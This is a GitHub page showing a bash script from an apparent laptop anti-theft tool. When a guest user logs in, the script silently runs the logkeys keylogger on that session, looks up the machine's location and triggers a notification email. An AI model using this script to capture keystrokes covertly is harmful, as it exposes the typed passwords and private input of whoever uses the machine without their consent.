-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathusertest.sh
More file actions
executable file
·19 lines (17 loc) · 885 Bytes
/
Copy pathusertest.sh
File metadata and controls
executable file
·19 lines (17 loc) · 885 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env bash
if ( who | grep -q guest ); then
user=$( who | grep guest | awk '{print $1}' ) #Had to do this way because this scritp needs to be run as root
if [ ! -d /tmp/$user/.config/logkeys ]; then
logkeys -k
mkdir /tmp/$user/.config/logkeys
touch /tmp/$user/.config/logkeys/user.log
logkeys -s -m /usr/share/notebook-security-essentials/keymaps/en_US_ubuntu_1204.map -o /tmp/$user/.config/logkeys/user.log #Run logkeys (Choose your keymap here!)
fi
locationmagic.sh -locate linux <TOKEN> #Replace <TOKEN> by your Token here!
/usr/share/notebook-security-essentials/send_email.py $user #Send notification e-mail
#For testing purposes enable below lines (if enabled guest user can access log file on Desktop)
#cp /tmp/$user/.config/logkeys/user.log /tmp/$user/Desktop
#chown $user:$user /tmp/$user/Desktop/user.log
else
logkeys -k #Stop logkeys
fi